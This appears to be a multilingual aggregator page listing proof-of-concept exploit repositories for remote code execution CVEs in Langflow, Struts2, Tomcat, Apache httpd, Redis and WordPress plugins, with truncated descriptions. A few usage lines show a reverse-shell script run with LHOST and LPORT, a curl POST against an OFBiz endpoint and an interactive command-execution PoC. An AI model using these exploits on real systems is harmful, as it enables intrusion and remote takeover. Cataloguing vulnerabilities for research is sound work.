CVE-2026-0770-PoC

CVE-2026-0770 - Execução Remota de Código no Langflow Resumo O Langflow contém uma vulnerabilidade crítica de execução remota de código na função validatecode localizada em src/lfx/src/lfx/custom/validate.py. A função usa exec para executar código Python fornecido pelo usuário sem sandboxing,...

CVE-2026-666

CVE-2026-666 - Vulnerabilità di Esecuzione Remota di Codice nel Framework ShadowWeb Descrizione È stata identificata una vulnerabilità critica di esecuzione remota di codice RCE nel Framework ShadowWeb nelle versioni precedenti alla 3.2.1. Il difetto risiede nel meccanismo di deserializzazione de...

checker-CVE-2020-5902

Checker CVE-2020-5902 Checker CVE-2020-5902: le versioni BIG-IP dalla 15.0.0 alla 15.1.0.3, dalla 14.1.0 alla 14.1.2.5, dalla 13.1.0 alla 13.1.3.3, dalla 12.1.0 alla 12.1.5.1 e dalla 11.6.1 alla 11.6.5.1 sono affette da vulnerabilità di lettura arbitraria di file ed esecuzione di comandi...

CVE-2026-23001-Hugging-Face-Transformers-Model-Deserialization-Arbitrary-Code-via-Pickle-

CVE-2026-23001 – RCE durch Modell-Deserialisierung in Hugging Face Transformers Übersicht Mit torch.save gespeicherte Hugging-Face-Modelle verwenden Pythons pickle-Serialisierung, die grundsätzlich unsicher ist. Wenn ein Benutzer ein scheinbar legitimes Modell aus einem Repository herunterlädt,...

s2-067-CVE-2024-53677

s2-067-CVE-2024-53677 s2-067CVE-2024-53677 Sommario La logica di upload dei file è difettosa e consente a un aggressore di abilitare percorsi con traversamenti - problema simile a quello segnalato in S2-066 Chi dovrebbe leggere questo Tutti gli sviluppatori e gli utenti Struts 2 Impatto della...

CVE-2020-9484-exploit

Exploit CVE-2020-9484 Exécution de code à distance Apache Tomcat Avant d'exécuter le script, veuillez modifier le chemin de ysoserial en fonction de votre chemin de fichier. ysoserial : https://github.com/frohoff/ysoserial Pour plus de référence :...

EUVD-2026-66852

Use of XsltView in a Spring MVC application can result in SSRF and RCE attack if the application has an "/" mapping that results in view rendering, and where the view name is not explicitly specified. Spring Framework 7.0.0 - 7.0.8 Spring Framework 6.2.0 - 6.2.19 Spring Framework 6.1.0 - 6.1.28...

spinnaker-poc

POC delle Vulnerabilità di Spinnaker Dimostrazioni proof-of-concept per CVE-2026-32604 e CVE-2026-32613, due vulnerabilità con gravità 10.0 in Spinnaker che consentono l'esecuzione di codice e il furto delle credenziali cloud di produzione. Video dimostrativo su come utilizzare questi POC Blog...

Magento-CVE-2016-4010

Analisi e sfruttamento della vulnerabilità di esecuzione remota di codice non autenticata in Magento CVE-2016-4010 0x00 Premessa Il 17 maggio, il ricercatore di sicurezza Netanel Rubin ha reso pubblica una vulnerabilità di esecuzione remota di codice non autenticata in Magento CVE-2016-4010. Ques...

CVE-2026-1560-Authenticated-Remote-Code-Execution-in-Lazy-Blocks-4.2.0

CVE-2026-1560 – Esecuzione Remota di Codice Autenticata in Custom Block Builder – Lazy Blocks ≤ 4.2.0 Ricercatore : ZeYrOXxx Plugin : Custom Block Builder – Lazy Blocks Versioni Affette : ≤ 4.2.0 Gravità : Alta CVSS : 8.8 Tipo di Vulnerabilità : Esecuzione Remota di Codice Autenticata RCE Vettore...

CVE-2025-24893

Infos Questa PoC prima verifica la presenza della SSTI e, se funziona, entra in un ciclo e ti permette di eseguire comandi da remoto. I comandi exec e shell attualmente fanno la stessa cosa. Utilizzo Connessione root@kitploit: python3 poc.py Esempio Con debug impostato su False predefinito...

docker-CVE-2019-11043

Immagine Docker e comandi per verificare CVE-2019-11043 CVE: CVE-2019-11043 Descrizione: Nelle versioni di PHP 7.1.x precedenti alla 7.1.33, 7.2.x precedenti alla 7.2.24 e 7.3.x precedenti alla 7.3.11, in alcune configurazioni di FPM è possibile causare la scrittura del modulo FPM oltre i buffer...

CVE-2018-18925

CVE-2018-18925 Sfruttamento di CVE-2018-18925, una Remote Code Execution contro lo strumento Git self-hosted: Gogs. Gogs si basa sul framework Macaron. Il sistema usato per gestire la sessione è molto simile a quello che fa PHP. L'identificatore di sessione nel cookie è mappato a un file sul...

CVE-2024-9162

CVE-2024-9162 All-in-One WP Migration e Backup = 7.86 - Iniezione di codice PHP arbitrario autenticata Amministratore+ Il plugin All-in-One WP Migration per WordPress è vulnerabile all'iniezione di codice PHP arbitrario a causa della mancata validazione del tipo di file durante l'esportazione in...

CVE-2024-32113-POC

Vulnerabilidades do Apache OfBiz POC para CVE-2024-32113 Os parâmetros USERNAME e PASSWORD podem ser fornecidos na interface /ecomseo/AnonContactus, que é publicamente acessível a qualquer pessoa. POC1：RCE root@kitploit: curl --noproxy '' -k --location --request POST...

CVE-2026-23479

CVE-2026-23479 — Redis Use-After-Free RCE PoC 集合 HackSpeak 分发镜像。本仓库整合了三个公开 PoC/检测工具 ,代码与各上游一致。 ⚠️ 包含实际利用代码与检测工具 ;仅供安全研究、漏洞验证与授权测试使用,请在可销毁环境运行,勿对未授权系统使用。 漏洞简述 CVE-2026-23479 是 Redisredis-server的 Use-After-FreeUAF 漏洞,可导致远程代码执行RCE 。 根因 :unblockClientOnKeysrc/blocked.c未检查 processCommandAndResetClient...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell Prova de conceito PoC CVE-2021-42013 reverse shell Apache 2.4.50 com CGI Uso : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT Mais informações: root@kitploit: chmod -x CVE-2021-42013.sh...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- Dies ist eine bearbeitete Version des Exploits für CVE-2018-19422, um ein kleines, aber lästiges Problem zu beheben, das ich hatte. Ich musste diesen Exploit in einem CTF verwenden, konnte ihn aber nicht richtig ausführen – er scheiterte stets beim Login. Na...

CVE-2021-31805

CVE-2021-31805 रिमोट कोड निष्पादन S2-062 CVE-2021-31805 Apache Struts2 द्वारा S2-061 CVE-2020-17530 के अधूरे फिक्स के कारण, कुछ टैग विशेषताएँ अभी भी OGNL एक्सप्रेशन निष्पादित कर सकती हैं। यह भेद्यता एक हमलावर को दुर्भावनापूर्ण डेटा बनाकर दूरस्थ रूप से मनमाना कोड निष्पादित करने की अनुमति देती है।...

CVE-2023-46012

CVE-2023-46012 ثغرة تنفيذ التعليمات البرمجية عن بُعد بسبب تجاوز سعة المخزن المؤقت للمكدس في IGD UPnP في LINKSYS AC1900 EA7500v3 تسمح هذه الثغرة للمهاجمين المجاورين للشبكة بتنفيذ تعليمات برمجية عشوائية على التركيبات المتأثرة من أجهزة توجيه LINKSYS EA7500. ولا يشترط المصادقة لاستغلال هذه الثغرة...